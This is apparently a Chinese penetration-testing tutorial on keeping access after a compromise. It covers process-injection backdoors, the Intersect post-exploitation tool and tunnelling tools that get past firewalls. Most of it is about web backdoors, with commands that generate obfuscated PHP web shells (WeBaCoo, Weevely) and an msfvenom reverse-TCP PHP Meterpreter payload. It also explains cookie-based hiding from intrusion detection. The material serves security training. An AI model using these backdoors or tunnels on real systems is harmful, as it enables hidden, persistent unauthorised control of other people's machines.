多读书多实践,勤思考善领悟

Kali linux渗透测试之 七.维持访问

本文于2012天之前发表,文中内容可能已经过时。

一.维持访问

1. 操作系统后门

简单来说,所谓后门(backdoor),就是绕过目标系统安全控制体系的正规用户认证过程而维持我们队目标系统的控制权,以及隐匿我们控制行为的方法。

2. Cymothoa

Cymothoa是一款可以将ShellCode注入到现有进程(插入进程)的后门工具。借助这种注入手段,它能够把ShellCode伪装成常规程序。他说注入的后门程序应当能够与贝注入的程序(进程)共存,以避免被管理或维护人员怀疑。将ShellCode注入到其他进程,还有另外一个优势就是:即使目标系统的安全防护工具能够讲师可执行程序的完整性,只要它不检查内存,那么它就不能发现后门程序(插入进程)的进程。

img

在使用Cymothoa程序时,必须通过-p选项来指定目标进程的PID,并通过-s选项来指定ShellCode的编号。

你可以在目标主机上使用ps指令,以查看程序的PID信息,另外,你可以使用程序的-s选项列出所有可用的ShellCode对于的编号

img

在渗透到目标主机之后,可以吧Cymothoa的可执行程序复制到目标主机上,继而生成后门程序。

3. Intersect

Intersect是一款适合在漏洞利用以后使用的能够自动完成多种后期任务的程序。他能够自动收集密码文件、赋值SSH密钥、收集网络信息,并能识别杀毒软件和防火墙程序。

若要是他自动执行后期任务,你需要创建自己的脚本文件,脚本中指定所需的各种功能呢。对于Inetersect来说,每个功能就有对应的模块。

img

我们选择一,之后会看到下面信息:
img

如需要列出所有的模块信息,我们可以使用modules指令。该制冷的而运行效果如下:

img

我们可以通过符号“=>”指定某个模块,或用info指令查看某模块的具体信息。例如,查看creds信息:

img

4. Meterpreter后门

著名的Metasploit Meterpreter程序自带一个后门程序“metsvc”,它可以让你随时获取Meterpreter的shell

需要小心的是,metsvc程序没有采用任何认证机制,也就是说,所有发现该后门端口的人镀硬铬能够使用这个后门。

二.隧道工具

1. 隧道

在计算机领域里,隧道是指使用某个网络协议封装另外一种网络协议的技术手段。在渗透测试中,使用隧道技术主要是为了让目标胸膛呢的防护机制无法发挥作用。多数情况下,目标系统的防火墙会组织内部系统访问外网网络,只放行DNS\HTTP\HTTPS这类常见的网络协议。在这种情况下,如果要在目标系统的内网使用外网的其他网络协议,就需要构建HTTP协议的隧道。这样,防火墙就会放行隧道封装的数据。

2. dns2tcp

dns2tcp是一种把TCP数据包伪装成DNS协议数据包的隧道封装工具。它适用于目标主机只能发送DNS请求的网络环境。当它在特定端口受理链接请求时,它会将数据封装为DNS协议格式,在发送到指定主机的指定端口的dns2tcp服务端程序。

dns2tcp采用了C/S架构,客户单程序叫做dns2tcpc,服务器端程序叫做dns2tcpd

要启动dns2tcp的服务器程序,可以在终端输入以下命令:

dns2tcpd

img

dns2tcpc

img

在使用dns2tcp之前需要穿件一个指向公网dns2tcp服务器IP的NS记录。建议为dns2tcp的程序分配子域名的DNS记录。例如dnstimnel.myexample.com。

之后就要配置dns2tcp服务器,默认情况下,dns2tcp服务器端程序会在当前用户的主目录下面寻找文件.dns2tcprcd,将值用作配置文件。

3. ncat

ncat是一款集发送、接收、转发、加密数据等多种功能于一身的网络工具。ncat是著名的Netcat程序的改进版。它的功能有:

  • 它可以用作Web服务程序和其他TCP/IP服务器端程序简易TCP/UDP/SCTP/SSL客户端;
  • 它可以用作简单的TCP、UDP、SCTP、SSL服务器端程序。
  • 它可以转发或代理TCP、UDP、SCTP流量
  • 它可以用作执行系统指令的网络网关
  • 它可使用SSL技术加密通信数据
  • 它可以使用IPv4或IPV6技术进行网络传输
  • 它可用作连接代理,通过第三个中介服务器使用两个或多个客户端互联代理。

img

4. proxychains

proxychains程序可以强制TCP客户端程序通过指定的代理服务器(或代理链)发起TCP链接。自从3.1版本开始,它支持SOCKS4代理、SOCKET5代理和基于CONNECT模式的HTTP代理服务器。

img

声明代理服务器的格式如下:

Proxy_type host port [user pass]

代理服务器类型即:http\socks4\socks5

如果要使Telnet程序通过代理服务器建立链接,可以使用以下指令:

proxychains telnet example.com

上述命令将使Telnet程序通过proxychains配置文集指定的代理服务器登录到example.com的telenet服务。

5. ptunnel

ptunnel是一款使用ICMP ping(请求和回复)封装TCP链接的隧道工具。即使被测主机无法向Internet发送任何TCP和UDP的数据,只要它可以向取Internet发起ping命令,那么这款工具就可以帮助它穿越防火墙。ptunnel可以脱离TCP和UDP链接访问E-mail、上网或者进行其他网络活动。

如需要启动ptunnel,可以在终端使用以下命令:

ptunnel -h

img

通过上述指令,你可以查看到该工具的使用方法。

注意:需要配合代理服务器才能在客户端使用ptunnel程序。而且客户端程序所在的主机必须能够访问服务器端主机。另外,如果要在Internet上架设ptunnel服务器端程序,那么服务器端主机就必须使用公网才可以直接访问到IP地址。

6. 其他程序

  • socat
  • sslh
  • stunnel4

三.创建Web后门

1. WeBaCoo

WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web后门工具。借助HTTP协议,它可以在客户端和服务器端实现执行代码的网页终端。

WeBaCoo有两种工作模式:

  • Generation(生产线模式):指定-g选项可进入这种模式。用户可以在这种模式下制作PHP代码的payload
  • Terminal(终端模式):指定-t选项可进入这种模式,用户可以在这种模式下连接到被测主机的后门程序。

WeBaCoo的精妙之处在于,Web服务器和客户端之间的通信载体是Cookie。这就意味着多数的杀毒软件、网络入侵检测/防御系统、网络防火墙和应用程序防火墙都无法检测到后门的所在。

WeBaCoo的HTTP Cookie中以下三个参数最为重要:

  • cm:以base64编码的shell指令
  • cn:加载着编码后输出内容的Cookie名称
  • cp:封装编码后输出内容的分隔符

如需启动WeBaCoo程序,可以在终端输入下述命令:
img

与生成模式有关的命令行选项如下:

选项 描述
-g 制作后门代码
-f 后门所需要的PHP功能system(default)shell_execexecpassthrupopen
-o 指定生成的后门程序的文件名

如果要使用默认的设置,生成名为test.php的PHP后门程序,并使用WeBaCoo的代码混淆技术对后门进行处理,那么可以使用下述命令

webacoo -g -o test.php

img

文件test.php内容如下:

img

而后,包这个文件上传到被测主机上去

接下来就可以使用下面的命令连接到被测主机的后门程序了:

webacoo -t -u http://ip/test.php

WeBaCoo后门的客户端和服务器端的通信是不易发现的、

2. Weevely

Weevely是一款具有高隐蔽性的针对PHP平台的WEBShell。它实现了SSH风格的终端界面,并有大量自动化的模块。测试人员可用它来执行系统命令、远程管理和渗透后期的自动渗透界面。

Weevely的主要用途是:

  • 生成混淆的PHP backdoor
  • 在图像文件中追加多态后门程序,并可以通过。htaccess文件赋予图像文件执行权限。
  • 生成后门。htaccess文件。
  • 可通过help选项列出程序的全部模块和生成工具

img

使用夏磊指令可以生成混淆PHP backdoor,并将后门保存为display.php

weevely generate password display.php

之后还是以一样,上传到目标机器上

之后链接WEBshell即可

3. PHP Meterpreter

Metasploit有一个名为PHP Meterpreter的payload。这个模块可以创建具有Meterpreter功能的PHP webShell。利用目标的漏洞(诸如常见的注入、文件上传漏洞)之后,再把它的shell传到目标主机即可。

Metasploit 的msfvenom工具可以制作PHP Meterpreter,具体指令如下:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.x.x -f raw >php-meter.php

上述指令各选项的作用如下:

-p :指定payload为php/meterpreter/reverse_tcp

-f:设置输出格式(raw)

LHOST :设定目标主机的IP地址

Metasploit会把生成的PHP Meterpreter保存为文件php-mter.php。